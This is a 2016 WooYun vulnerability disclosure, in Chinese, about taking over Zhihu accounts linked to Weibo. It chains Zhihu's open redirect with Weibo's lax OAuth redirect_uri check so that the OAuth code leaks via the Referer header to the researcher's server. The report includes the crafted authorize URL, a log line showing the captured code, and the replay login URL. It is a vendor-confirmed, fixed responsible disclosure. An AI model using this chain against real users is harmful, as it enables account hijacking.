当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0174018

漏洞标题:微博上你点我链接我就上你绑定过的知乎账号

相关厂商:知乎

漏洞作者: zhchbin

提交时间:2016-02-01 11:44

修复时间:2016-03-14 15:10

公开时间:2016-03-14 15:10

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-01: 细节已通知厂商并且等待厂商处理中
2016-02-01: 厂商已经确认,细节仅向厂商公开
2016-02-11: 细节向核心白帽子及相关领域专家公开
2016-02-21: 细节向普通白帽子公开
2016-03-02: 细节向实习白帽子公开
2016-03-14: 细节向公众公开

简要描述:

先无耻得打个高分,不同于 @呆子不开口 的一个思路

详细说明:

这个问题其实是由一个任意跳转的漏洞引起的,之前我上报过但没有审核通过。因为的确当时我还没能展示出其危害,然后我又回来了!!知乎上回答里随意插个链接都能看到如下的URL:

https://link.zhihu.com/?target=http://a.zhchbin.xyz


因为要从referrer里偷信息,在构造链接的时候我们要用http,刚好这个接口也是支持的。课外知识:关于https -> http 跳转的referrer,http://serverfault.com/questions/520244/referer-is-passed-from-https-to-http-in-some-cases-how
在知道这个跳转漏洞之后,我想起了第三方账号的oauth过程中有一个redirect_uri的参数,例如微博的接口:

https://api.weibo.com/oauth2/authorize?scope=email&state=e9887b485320b0cab80b0d029e92759f&redirect_uri=https%3A%2F%2Fwww.zhihu.com%2Foauth%2Fcallback%2Flogin%2Fsina&response_type=code&client_id=3063806388


这个接口文档:http://open.weibo.com/wiki/Oauth2/authorize
试了一下,参数当然只能是知乎的域名,不过,居然子域名也是没有问题的。(微信的接口就不行),所以问题就变得简单了,构造URL如下:

https://api.weibo.com/oauth2/authorize?scope=email&state=e9887b485320b0cab80b0d029e92759f&redirect_uri=http%3A%2F%2Flink.zhihu.com%2F%3Ftarget%3Dhttp%3A%2F%2Fa.zhchbin.xyz%2Fauth%3F&response_type=code&client_id=3063806388


用户点击之后我们就可以在referrer拿到code,如下:

[31/Jan/2016:15:28:31 +0800] "GET /auth? HTTP/1.1" 404 402 "http://link.zhihu.com/?target=http://a.zhchbin.xyz/auth?&state=e9887b485320b0cab80b0d029e92759f&code=ad3d1b20385f891a36e498cb470146e5" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36" "2.94"


拿到这个code参数之后,在浏览器用下面的接口就可以完成登录了。

https://www.zhihu.com/oauth/callback/login/sina?state=17324074ce785e6296061cf1381f6f8b&code=ad3d1b20385f891a36e498cb470146e5


其中state参数的值是知乎首页的cookie中_xsrf对应的值

20160131153328.png


这个值不对的话会403

漏洞证明:

已经证明

修复方案:

那个任意跳转的问题的确挺修复的,不知道微博redirect_uri那里能不能限制的严格一下。

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-02-01 13:11

厂商回复:

多谢,已经确认了

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-01 11:45 | an0nym0u5 ( 普通白帽子 | Rank:322 漏洞数:51 )

    前提是得有知乎账号

  2. 2016-02-01 12:39 | 我叫金挖挖 ( 路人 | Rank:13 漏洞数:4 | 一个搞电力的业余玩家)

    还要绑

  3. 2016-02-28 23:55 | phith0n 认证白帽子 ( 普通白帽子 | Rank:778 漏洞数:122 | 一个想当文人的黑客~)

    『其中state参数的值是知乎首页的cookie中_xsrf对应的值』这个state值如何获取?

  4. 2016-02-29 13:50 | zhchbin ( 普通白帽子 | Rank:115 漏洞数:25 | 要走得再远一些!|但行好事,不问前程)

    @phith0n 就是截图中红色的那个值啊。这个登录的时候手工copy出来就行,现在这个已经修复了,复现不了。(我还没去研究修复方式能不能绕过。

  5. 2016-02-29 14:02 | phith0n 认证白帽子 ( 普通白帽子 | Rank:778 漏洞数:122 | 一个想当文人的黑客~)

    @zhchbin 哪一步复现不了了?我怎么测试还是可以拿到code?

  6. 2016-02-29 15:51 | zhchbin ( 普通白帽子 | Rank:115 漏洞数:25 | 要走得再远一些!|但行好事,不问前程)

    @phith0n 我试过,他们并没有修复那个任意调整的问题,估计是其他方式。那个code现在依旧可以拿到,但拿到code之后直接在浏览器打开:https://www.zhihu.com/oauth/callback/login/sina?state=<_xsrf>&code=<code>会登录不了,这一步之前是可以的,现在不行了。我初步怀疑是用referrer验证,如果是的话,那估计他们还是没有看清楚这个问题。

  7. 2016-02-29 21:35 | zhchbin ( 普通白帽子 | Rank:115 漏洞数:25 | 要走得再远一些!|但行好事,不问前程)

    @phith0n 知乎动作真快,赞。我们讨论着讨论着,现在就改好了。